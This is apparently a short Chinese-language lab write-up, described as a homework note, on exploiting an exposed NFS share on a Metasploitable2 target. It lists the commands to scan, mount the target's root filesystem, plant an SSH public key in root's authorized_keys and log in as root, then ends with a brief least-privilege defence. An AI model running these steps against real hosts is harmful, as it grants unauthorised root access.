NFS服务漏洞复现

  • 2019 年 10 月 7 日
  • 笔记

刚交了一份作业,关于NFS服务利用的,这里简单介绍一下。

NFS全称Network File System,即网络文件系统,属于网络层,主要用于网络间文件的共享,最早由sun公司开发。

复现环境:Kali2017、Metasploit2 复现思路:利用NFS服务将本地主机的ssh公钥传输到目标主机上,再利用ssh连接到目标主机

1、首先利用nmap扫描一下目标主机,查看是否存在ssh、nfs服务

~# nmap 172.16.1.130 -p 22,2049

2、在kali下连接靶机的NFS服务

~# apt-get install nfs-comm  ~# showmount -e 172.16.1.130  ~# mkdir /tmp/172.16.1.130  ~# mount -t nfs 172.16.1.130:/ /tmp/172.16.1.130/  ~# cd /tmp/172.16.1.130/  ~# ls -la

3、将本地主机的ssh公钥发送到目标主机并通过ssh连接靶机

~# ssh-keygen  ~# cat .ssh/id_rsa.pub >> /tmp/172.16.1.130/root/.ssh/authorized_keys  ~# ssh [email protected]

4、这个漏洞防御也主要在于权限的问题,本着最小权限的思想,对于一些普通文件所属用户普通用户即可,对于敏感的目录要限制普通用户访问。